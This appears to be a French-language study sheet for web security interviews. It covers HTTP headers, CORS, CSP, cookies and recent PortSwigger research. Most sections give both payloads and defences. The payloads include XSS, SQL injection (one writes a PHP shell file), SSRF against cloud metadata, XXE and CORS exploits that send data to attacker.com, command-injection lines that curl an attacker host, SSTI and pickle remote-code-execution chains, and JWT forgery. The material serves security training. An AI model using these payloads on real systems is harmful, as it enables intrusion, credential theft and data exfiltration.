Web Security Interview

Méthodes HTTP & implications sécurité

Headers HTTP critiques

Security Headers (réponse)

Headers de requête intéressants

# Headers souvent exploitables en SSRF / injection
X-Forwarded-For: 192.168.1.1   # Contournement IP restriction
X-Real-IP: 127.0.0.1           # Même usage
Host: evil.com                # Host Header Injection → password reset poisoning
Origin: https://attacker.com  # Test CORS
Referer: ...                   # Info leakage, CSRF validation bypass
Authorization: Bearer <JWT>  # JWT attacks
Content-Type: text/xml        # Changer pour déclencher XXE
Transfer-Encoding: chunked   # HTTP Smuggling

HTTP/1.1 vs HTTP/2 vs HTTP/3

Status Codes importants en sécurité

# 2xx — Success
200 OK · 201 Created · 204 No Content

# 3xx — Redirection (exploitables pour open redirect)
301 Permanent · 302 Found · 307 Temporary · 308 Permanent

# 4xx — Client Errors
400 Bad Request · 401 Unauthorized (pas d'auth)
403 Forbidden (auth ok mais pas le droit)
404 Not Found · 405 Method Not Allowed
429 Too Many Requests (rate limiting)
451 Unavailable for Legal Reasons

# 5xx — Server Errors (info disclosure)
500 Internal Server Error (stack trace?)
502 Bad Gateway · 503 Service Unavailable

Same-Origin Policy (SOP)

# Même origine ✓
https://example.com/page   → https://example.com/api    ✓

# Origines différentes ✗
https://example.com        → http://example.com          ✗ (schéma)
https://example.com        → https://api.example.com     ✗ (sous-domaine)
https://example.com        → https://example.com:8080    ✗ (port)
https://example.com        → https://evil.com            ✗ (domaine)

Ce que SOP autorise malgré tout : embedding d'images/scripts/CSS cross-origin, form submissions cross-origin (d'où la nécessité du CSRF token), navigations cross-origin.

CORS (Cross-Origin Resource Sharing)

Mécanisme qui assouplit la SOP via des headers HTTP. Permet au serveur d'autoriser certaines origines à lire ses réponses.

# Simple requests (GET, POST avec certains Content-Types) → pas de preflight
# Complex requests → preflight OPTIONS d'abord

### Requête preflight ###
OPTIONS /api/data HTTP/1.1
Origin: https://attacker.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Authorization

### Réponse vulnérable ###
Access-Control-Allow-Origin: https://attacker.com   # refléter l'origine = VULN
Access-Control-Allow-Credentials: true                # permet cookies = CRITIQUE

### Mauvaises configs courantes ###
Access-Control-Allow-Origin: *                          # wildcard (mais pas avec credentials)
# Regexp mal faite : authorise evil.com si la whitelist check "example.com" en substring
# Null origin : Access-Control-Allow-Origin: null → exploitable via iframe sandboxé

Content Security Policy (CSP)

En-tête qui contrôle quelles ressources le navigateur peut charger. Principal contre-mesure XSS.

# CSP stricte (bonne)
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; object-src 'none'

# Bypasses CSP courants en interview
1. JSONP endpoint sur whitelisted domain → exécution JS
   script-src https://trusted.com → si trusted.com a /api/jsonp?callback=alert

2. unsafe-inline → XSS directement
3. unsafe-eval → permet eval(), new Function()

4. Angular/React sur whitelisted domain → CSP bypass via framework gadgets

5. base-uri non défini → injection <base href="https://evil.com/"> → relative URL hijack

6. data: URI si autorisé → script src="data:text/javascript,alert(1)"

Cookies & attributs sécurité

# Cookie parfaitement sécurisé
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict; Path=/; Domain=example.com

HttpOnly   → JS ne peut pas lire (document.cookie) → bloque vol XSS
Secure     → HTTPS seulement → bloque MITM
SameSite   → Strict: jamais cross-site | Lax: GET navigation ok | None: toujours (+ Secure)
SameSite=None sans Secure → cookie envoyé en HTTP = vol possible
SameSite absent (ancien) = comportement Lax dans Chrome moderne

Comparatif 2021 → 2025

Focus A03 — Software Supply Chain Failures (nouveau scope)

# Défenses Supply Chain (SBOM-first approach)
→ Software Bill of Materials (SBOM) : inventaire complet de TOUTES les dépendances
→ Outils : OWASP Dependency-Track, Dependency-Check, Snyk, retire.js
→ Signed builds : vérifier la provenance des artifacts (Sigstore)
→ Staged rollouts : ne pas déployer à tous les systèmes simultanément
→ Séparation des rôles CI/CD : personne ne peut coder ET pousser en prod seul
→ Pin les versions de dépendances + audit régulier CVE/NVD/OSV

Focus A10 — Mishandling of Exceptional Conditions (NEW 2025)

# Exemples d'exploitation A10
Scénario 1 : Forcer des erreurs 500 pour lire les stack traces → SQLi recon
Scénario 2 : Interrompre une transaction multi-étape → race condition → double spend
Scénario 3 : Upload massif → ressources non libérées → DoS progressif
Scénario 4 : Exception non catchée → fail open → bypass d'authentification

# Défense
→ Fail CLOSED (pas fail open) : toujours rejeter en cas de doute
→ Erreurs génériques côté client, logs détaillés côté serveur uniquement
→ Transactions atomiques avec rollback complet
→ Rate limiting sur les endpoints qui génèrent des erreurs
→ Global exception handler en dernier recours

Sources et Sinks DOM XSS

# Sources DOM (où l'attaquant contrôle la donnée)
document.URL, document.location, document.referrer
location.href, location.hash, location.search
window.name, document.cookie, localStorage, sessionStorage
postMessage data

# Sinks dangereux (où la donnée est exécutée)
document.write()          → injection HTML
innerHTML, outerHTML      → injection HTML
eval(), setTimeout(str)   → exécution JS
location.href = userInput → javascript: URI
src, href attributes      → si non filtré
$.html(), $(userInput)    → jQuery sinks

Payloads & contournements

# Basique
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

# Bypass filtres
<ScRiPt>alert(1)</ScRiPt>       // case insensitive
<script>alert`1`</script>       // template literals (bypass parenthèses)
<img src=x onerror="alert(1)"> // HTML entities
<iframe srcdoc="<script>alert(1)</script>">
<details open ontoggle=alert(1)>
<body/onload=alert(1)>

# XSS dans attributs
" onmouseover="alert(1)
' autofocus onfocus='alert(1)

# XSS dans href (javascript: URI)
javascript:alert(document.cookie)
JaVaScRiPt:alert(1)            // bypass toLowerCase

# Blind XSS (payload qui callback)
<script src="https://your-server.com/x.js"></script>

Impact XSS

• Vol de session : document.cookie → envoi vers serveur attaquant
• Keylogging : capturer les frappes clavier
• Phishing in-app : faux login form injecté
• CSRF via XSS : XSS bypasse les restrictions CSRF (même origine)
• Exfiltration de données : lecture du DOM, localStorage
• Webcam / microphone : via MediaDevices API si permissions accordées
• Defacement : modification visuelle

Préventions XSS

• Output encoding : encoder selon le contexte (HTML, JS, URL, CSS)
• CSP stricte : script-src 'nonce-{random}'
• HttpOnly cookies : bloque le vol via document.cookie
• DOMPurify : sanitisation côté client
• Trusted Types : API navigateur pour bloquer les sinks dangereux

Types de SQLi

Payloads classiques

# Test de base
' OR '1'='1
' OR 1=1--
" OR 1=1--
') OR ('1'='1

# Union-based (trouver nb de colonnes)
' ORDER BY 1-- 
' ORDER BY 2--   ← jusqu'à erreur
' UNION SELECT NULL,NULL,NULL--

# Extraction données (MySQL)
' UNION SELECT username,password FROM users--
' UNION SELECT table_name,2 FROM information_schema.tables--
' UNION SELECT column_name,2 FROM information_schema.columns WHERE table_name='users'--

# Boolean Blind (MySQL)
' AND SUBSTRING(username,1,1)='a'--     ← vrai si 1er char = 'a'
' AND (SELECT COUNT(*) FROM users)>0--

# Time-based Blind
'; IF(1=1) WAITFOR DELAY '0:0:5'--    (MSSQL)
' AND SLEEP(5)--                       (MySQL)
'; SELECT pg_sleep(5)--               (PostgreSQL)

# Lecture de fichiers (MySQL)
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL--

# Écriture fichier (MySQL avec FILE priv)
' UNION SELECT "" INTO OUTFILE '/var/www/html/shell.php'--

Bases de données — différences clés

NoSQL Injection

# MongoDB — bypass authentification
POST /login
{"username": {"$ne": null}, "password": {"$ne": null}}

# Opérateurs NoSQLi MongoDB
$ne  (not equal)  $gt  $regex  $where  $exists

# Injection dans URL params
GET /users?id[$ne]=0  → retourne tous les users si non filtré

Préventions SQLi

• Prepared Statements / Parameterized Queries — séparation code/données
• ORM avec bindings sécurisés — mais attention aux raw queries!
• Whitelist de caractères autorisés, validation des inputs
• Least privilege sur le compte DB (pas de FILE, pas de DROP)
• WAF comme couche défense en profondeur (pas suffisant seul)

Fonctionnement

# 1. Victime connectée sur bank.com avec cookie de session
# 2. Victime visite evil.com
# 3. evil.com contient :
<img src="https://bank.com/transfer?to=attacker&amount=10000" />
# ou pour POST :
<form action="https://bank.com/transfer" method="POST" id="f">
  <input name="to" value="attacker">
  <input name="amount" value="10000">
</form>
<script>document.getElementById('f').submit()</script>

Contournements de défenses CSRF

• Referer absent : supprimer le header Referer (meta Referrer-Policy: no-referrer)
• Origin header bypass : certaines configs autorisent null origin
• Token dans URL : si le token CSRF est prévisible ou leaké via Referer
• Double Submit Cookie bypass : si l'attaquant peut écrire des cookies (sous-domaine compromis)
• CSRF + XSS : XSS sur la cible permet de lire et rejouer le token CSRF
• SameSite=None : cookies envoyés en cross-site → CSRF possible
• SameSite=Lax bypass : GET requests de navigation top-level → CSRF sur GET actions

Défenses

• CSRF Token synchronizer pattern : token aléatoire par session inclus dans chaque form
• SameSite=Strict sur les cookies de session
• Vérification du header Origin/Referer (mais pas suffisant seul)
• Double Submit Cookie pattern (attention aux sous-domaines)
• Custom header sur requêtes AJAX (XMLHttpRequest ne peut pas être cross-origin sans CORS)

Cibles SSRF classiques

# Cloud metadata (AWS, GCP, Azure)
http://169.254.169.254/latest/meta-data/               (AWS IMDSv1)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://metadata.google.internal/computeMetadata/v1/    (GCP — header requis)
http://169.254.169.254/metadata/v1/                    (Azure)

# Services internes
http://localhost:8080/admin
http://127.0.0.1:6379/  → Redis (no auth par défaut)
http://internal-service/api/admin

# Autres protocoles (Blind SSRF)
file:///etc/passwd
dict://localhost:11211/  → Memcached
gopher://localhost:6379/ → Redis via Gopher
ftp://internal-host/

Bypasses de filtres SSRF

# Encodage IP
http://0177.0.0.1/       (octal 127.0.0.1)
http://0x7f000001/       (hex)
http://2130706433/       (decimal)
http://127.1/            (notation courte)

# IPv6
http://[::1]/
http://[::ffff:127.0.0.1]/

# DNS rebinding
http://attacker-domain.com/  → résout d'abord IP publique (validation), puis 127.0.0.1 (exploitation)

# Open redirect chain
https://trusted.com/redirect?url=http://169.254.169.254/

# URL shorteners
http://bit.ly/xxxx → redirige vers 127.0.0.1

# Domain tricks
http://localhost.example.com/     (si DNS résout en 127.0.0.1)
http://evil.com%[email protected]/ (parsing ambiguité)
http://169.254.169.254.evil.com/  (subdomain confusion)

# nip.io / xip.io (DNS wildcard → résout l'IP dans le nom)
http://127.0.0.1.nip.io/

Blind SSRF

Pas de réponse visible → utiliser Burp Collaborator, interactsh, ou un serveur de callback pour détecter les connexions entrantes.

Défenses SSRF

• Whitelist stricte des URLs/IPs autorisées (pas de blacklist)
• Résoudre le DNS puis vérifier l'IP résolue (protège du DNS rebinding)
• Désactiver les redirections HTTP
• Utiliser IMDSv2 sur AWS (token requis, pas juste GET)
• Réseau : isoler les services internes du serveur web

Exploitation basique

# Lecture de fichier local
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>

# SSRF via XXE
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">

# XXE Out-of-Band (Blind) — exfiltration via DTD externe
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>

# evil.dtd sur le serveur attaquant :
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;

Surfaces d'attaque XXE

• Upload de fichiers XML, SVG, DOCX, XLSX, PDF (tous XML sous le capot)
• APIs REST qui acceptent Content-Type: application/xml
• SOAP WebServices
• Fichiers de config XML

Défenses XXE

• Désactiver le traitement des entités externes dans le parser XML
• Java: factory.setFeature("http://xml.org/sax/features/external-general-entities", false)
• Utiliser des formats moins complexes (JSON) si possible
• Patcher les bibliothèques XML

Types de références

# Numérique séquentiel (trivial)
GET /api/invoices/1337 → essayer 1338, 1336

# GUID/UUID (moins évident mais toujours possible si leaké)
GET /api/docs/550e8400-e29b-41d4-a716-446655440000

# Hash MD5 de l'email (prédictible)
GET /api/profile/5d41402abc4b2a76b9719d911017c592

# Paramètre caché
POST /api/updateUser
{"userId": 1337, "email": "new@email.com"}  → changer userId

Vertical vs Horizontal Privilege Escalation

Broken Access Control — patterns communs

• Changer role=user → role=admin dans la requête / cookie
• Accéder à /admin via variation d'URL : /Admin, /ADMIN, //admin
• Méthode HTTP non vérifiée : GET /admin bloqué mais POST /admin accessible
• JWT : modifier le payload sans vérification de signature (alg: none)
• Mass Assignment : {"username":"x","isAdmin":true}
• Path traversal dans l'ID : /api/files/../../../etc/passwd

Path Traversal

# Basique
GET /download?file=../../../etc/passwd
GET /read?path=....//....//etc/passwd     (bypass filtre ../)
GET /file?name=..%2F..%2Fetc%2Fpasswd    (URL encoded)
GET /file?name=..%252F..%252Fetc/passwd  (double encoded)
GET /file?name=....\/....\/etc/passwd    (mix slash)

# Bypass de filtre "doit commencer par /uploads"
/uploads/../../../etc/passwd
/uploads/....//....//etc/passwd

LFI (Local File Inclusion)

# PHP classique
?page=../../../../etc/passwd
?lang=php://filter/convert.base64-encode/resource=index.php ← lire source PHP

# LFI → RCE via log poisoning
1. Injecter dans User-Agent : <?php system($_GET['cmd']); ?>
2. Include le log Apache : ?page=/var/log/apache2/access.log&cmd=id

# Wrappers PHP intéressants
php://input          → envoyer du PHP dans le POST body
php://filter         → lire fichiers en base64
data://text/plain    → data URI (si allow_url_include)
zip://               → RCE via zip upload
phar://              → phar deserialization

# Fichiers sensibles cibles
/etc/passwd · /etc/shadow · /proc/self/environ · /proc/self/cmdline
/var/log/apache2/access.log · /var/log/nginx/access.log
~/.ssh/id_rsa · /app/config.php · /.env

# Séparateurs de commandes
; id                    séquentiel
&& id                   si précédente réussit
|| id                   si précédente échoue
| id                    pipe
`id`                    backtick (bash)
$(id)                   substitution de commande
%0a id                  newline (URL encoded)

# Bypass filtres d'espace
{cat,/etc/passwd}
cat${IFS}/etc/passwd
cat</etc/passwd

# Out-of-band (Blind CMDi)
; nslookup attacker.com
; curl http://attacker.com/$(whoami)
; ping -c 1 attacker.com

Détection & Identification

# Payloads de détection (mathématiques)
{{7*7}}     → 49 ? → Jinja2/Twig
${7*7}      → 49 ? → FreeMarker/Velocity
<%= 7*7 %> → 49 ? → ERB (Ruby)
#{7*7}      → 49 ? → Pebble

# Identification fine
{{7*'7'}}   → '7777777' = Jinja2 | 49 = Twig

Exploitation par moteur

## Jinja2 (Python/Flask)
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()[XXX].__init__.__globals__['__builtins__']['__import__']('os').system('id')}}

## Twig (PHP/Symfony)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

## FreeMarker (Java)
${"freemarker.template.utility.Execute"?new()("id")}

## Smarty (PHP)
{system("id")}

Langages & formats concernés

# Java — sérialisé binaire
Identifié par: AC ED 00 05 (hex) / rO0AB (base64)
Outils: ysoserial, GadgetProbe, Burp Deserialization Scanner
Gadget chains: CommonsCollections, Spring, Groovy...

# PHP — serialize()
O:4:"User":2:{s:4:"name";s:5:"admin";s:8:"isAdmin";b:1;}
→ Modifier isAdmin: b:1 (true)
Phar deserialization via phar:// wrapper

# Python — pickle
# JAMAIS désérialiser du pickle non vérifié → RCE direct
import pickle, os
class RCE: __reduce__ = lambda self: (os.system, ('id',))
pickle.dumps(RCE())

# JavaScript Node.js — node-serialize, serialize-javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id',...)}"}

Attaques d'authentification courantes

Host Header Injection → Password Reset Poisoning

# Si le serveur utilise le Host header pour construire l'URL de reset :
POST /reset-password
Host: attacker.com
email: victim@example.com

# La victime reçoit un email avec :
https://attacker.com/reset?token=abc123
# → l'attaquant intercepte le token

Attaques classiques

## 1. Algorithm None Attack
# Changer alg: HS256 → none, supprimer la signature
{"alg":"none","typ":"JWT"}
# Payload: {"user":"admin"}
# Envoyer: eyJ... (header) . eyJ... (payload) . (signature vide)

## 2. HS256 → RS256 (Algorithm Confusion)
# Si le serveur utilise RS256 mais accepte HS256 :
# Signer avec la clé PUBLIQUE RSA en tant que secret HMAC
# jwt_tool: python3 jwt_tool.py [token] -X k -pk public.pem

## 3. Weak Secret (Brute Force)
# Si HS256 avec secret faible :
hashcat -a 0 -m 16500 [jwt] /usr/share/wordlists/rockyou.txt

## 4. JWT Header Injection (kid, jku, x5u)
# kid parameter injection → path traversal ou SQL injection
{"kid": "../../dev/null"}  → signer avec string vide
{"kid": "' UNION SELECT 'attacker-key'--"}

# jku / x5u → pointer vers un JWK externe contrôlé
{"jku": "https://attacker.com/jwks.json"}  → serveur fetch les clés publiques de l'attaquant

## 5. Embedded JWK
# Insérer sa propre clé publique dans le header jwk
{"alg":"RS256","jwk":{"kty":"RSA","n":"...","e":"AQAB"}}

Flows OAuth 2.0

Attaques OAuth courantes

## 1. Open Redirect → Account Takeover
# redirect_uri non validée strictement
/oauth/authorize?client_id=app&redirect_uri=https://evil.com&...
# Variations bypass whitelist :
https://trusted.com.evil.com/callback    (subdomain)
https://trusted.com/callback@evil.com   (@ ambiguité)
https://trusted.com/callback#evil.com   (fragment)
https://trusted.com/../redirect?evil.com (path traversal)

## 2. CSRF sur OAuth callback
# state parameter absent ou non validé
# → forcer l'association d'un compte OAuth attaquant

## 3. Authorization Code Interception
# Redirect vers page contrôlée, récupérer ?code= dans le Referer

## 4. Scope Escalation
# Modifier scope=read → scope=admin si non validé

## 5. Flawed Token Validation
# Utiliser un access_token d'une autre app (même provider)

Exploitation CORS misconfiguration

# Test : envoyer Origin: https://evil.com et voir si reflété dans Access-Control-Allow-Origin

# Exploit si ACAO: evil.com + ACAC: true
fetch('https://vulnerable.com/api/sensitive', {credentials: 'include'})
  .then(r => r.text())
  .then(data => fetch('https://attacker.com/steal?d=' + btoa(data)));

# null origin exploit (iframe sandboxé)
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
  src="data:text/html,<script>fetch('https://vuln.com/api',{credentials:'include'})...</script>">
</iframe>

Variantes

## CL.TE — Front-end croit Content-Length, Back-end croit Transfer-Encoding
POST / HTTP/1.1
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

## TE.CL — Front-end croit TE, Back-end croit CL
POST / HTTP/1.1
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0


## TE.TE — Les deux interprètent TE, mais l'un peut être ambigu
Transfer-Encoding: xchunked
Transfer-Encoding : chunked    (espace avant :)
Transfer-Encoding: chunked
Transfer-Encoding: x          (double header)

Impact

• Bypass de sécurité front-end (WAF, auth)
• Capturer les requêtes d'autres utilisateurs (vol de sessions, credentials)
• Accès à des endpoints internes
• Réflexion XSS qui contourne CSP
• Web cache poisoning via smuggling

# Principe : trouver un "unkeyed input" (pas dans la cache key mais reflété dans la réponse)

# Exemple : X-Forwarded-Host reflété dans des liens de la page
GET / HTTP/1.1
Host: example.com
X-Forwarded-Host: evil.com

# Si la réponse contient : <script src="//evil.com/app.js">
# Et est mise en cache → tous les visiteurs chargent le JS de l'attaquant

# Autres headers unkeyed courants :
X-Host, X-Forwarded-Server, X-Original-URL, X-Rewrite-URL
Vary: (défini mais non implémenté comme cache key)

OWASP API Top 10 (2023)

GraphQL Security

# Introspection (souvent laissée active en production)
{"query": "{__schema{types{name}}}"}
{"query": "{__type(name:\"User\"){fields{name}}}"}

# Batch Queries → brute-force en 1 requête
[{"query": "{ login(user:'admin', pass:'password1') }"},
 {"query": "{ login(user:'admin', pass:'password2') }"}]

# Alias pour contourner rate limit
{ q1: user(id:1){email} q2: user(id:2){email} q3: user(id:3){email} }

# Injections dans les mutations GraphQL
mutation { createUser(name: "'; DROP TABLE users;--") }

# L'attaquant embed la page cible dans un iframe transparent au-dessus d'un leurre
<style>
  iframe { opacity: 0.01; position: absolute; top: 0; left: 0; width: 100%; height: 100%; }
  #lure { position: absolute; top: 300px; left: 200px; }
</style>
<div id="lure">WIN A PRIZE! CLICK HERE</div>
<iframe src="https://victim.com/settings/delete-account"></iframe>

# Défenses
X-Frame-Options: DENY              ← plus simple
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'none'  ← plus flexible, moderne

🥇 #1 — Successful Errors : New SSTI & Code Injection Techniques

# Blind SSTI — avant ces recherches, très difficile à détecter automatiquement
# Nouvelle approche : provoquer des erreurs différentes selon le moteur
# → error-based SSTI comme error-based SQLi

# Polyglot de détection multi-moteurs (concept)
${"z"*9000}{{9*9}}   → observe quel moteur crash/répond
{{9/0}}              → division par zéro → message d'erreur révèle le moteur

# Point clé pour l'entretien : le SSTI aveugle est maintenant exploitable
# sans affichage de la sortie, en utilisant les messages d'erreur comme oracle

🥈 #2 — ORM Leaks : Leaking More Than You Joined For

# Concept : les ORMs exposent souvent des opérateurs de filtrage puissants
# Ex: Django, Rails, Prisma, Sequelize

# API vulnérable (Prisma/Django style)
GET /api/users?email[contains]=admin    → filtre par sous-chaîne
GET /api/users?salary[gt]=100000        → fuite de données sensibles
GET /api/orders?user[email][endsWith]@admin.com  → enum des emails internes

# Différence avec SQLi : pas d'injection de code, utilisation légitime
# de l'API de l'ORM → contourne les WAFs
# Impact : dump complet de la DB via filtres successifs

🥉 #3 — Novel SSRF Technique via HTTP Redirect Loops

# Le problème du SSRF blind : pas de réponse visible
# La technique : créer une boucle de redirection qui cause un comportement observable

# Serveur attaquant → redirige en boucle vers lui-même
http://attacker.com/redirect → 301 → http://attacker.com/redirect (loop)

# Le serveur vulnérable suit les redirections jusqu'à un timeout
# → délai observable dans la réponse = confirmation SSRF (time-based)
# → les logs du serveur attaquant révèlent les headers internes, IP source, etc.

# Très utile pour transformer "potentiellement vulnérable" en "confirmé exploitable"

Side-Channels & XS-Leaks (tendance 2025)

#4 — Lost in Translation : Unicode Normalization Attacks

# Exemples de normalisations dangereuses
ℌ → H   (U+210C Fraktur H → ASCII H)
﹤ → <   (U+FE64 small less-than → ASCII <, bypass filtre XSS)
① → 1   (U+2460 circled digit one)
ＡＤＭＩＮadmin → après NFKC normalisation → devient "ADMINadmin"

# Bypass access control : /ＡＤＭＩＮ → normalisé → /ADMIN
# Si le check est fait avant la normalisation mais le routing après
# → accès à des endpoints protégés

# Bypass SQLi filter : ＵＮＩＯＮuni → UNION après normalisation
# Intégré dans ActiveScan++ pour Burp

#7 — Next.js Internal Cache Poisoning

The Fragile Lock — Novel SAML Authentication Bypasses (Déc. 2025)

# SAML = XML signé → sécurité dépend de la validation de signature XML
# Problème : validation et parsing faits par 2 parsers différents (REXML + Nokogiri)

## Techniques exploitées :
1. Attribute Pollution : ID="attack" samlp:ID="real" → chaque parser lit un attribut différent
2. Namespace Confusion : xml:xmlns redéfini → cache l'élément Signature à un parser
3. Void Canonicalization (NOUVEAU) : URI relative xmlns:ns="1" cause une erreur de
   canonicalization dans Nokogiri → retourne string vide → DigestValue = hash("")
   → attaquant peut forger n'importe quelle assertion avec signature valide

# "Golden SAML Response" : réponse qui passe TOUJOURS la validation
# peu importe les claims forgés → account takeover complet

# Fix : une seule implémentation XML, strict schema sans extensions,
       ne jamais faire confiance à l'email domain seul pour l'access control

#10 — Parser Differentials

# Exemples de parser differentials exploités en 2025
URL parsing  : urllib vs requests → host différent dans la même URL
HTTP parsing : Content-Length vs Transfer-Encoding → Request Smuggling
XML parsing  : REXML vs Nokogiri → SAML bypass
JSON parsing : trailing comma acceptée par un parser, rejetée par l'autre
Email parsing: "user"@domain → splitting the email atom (Gareth Heyes 2024)

Ressources PortSwigger à connaître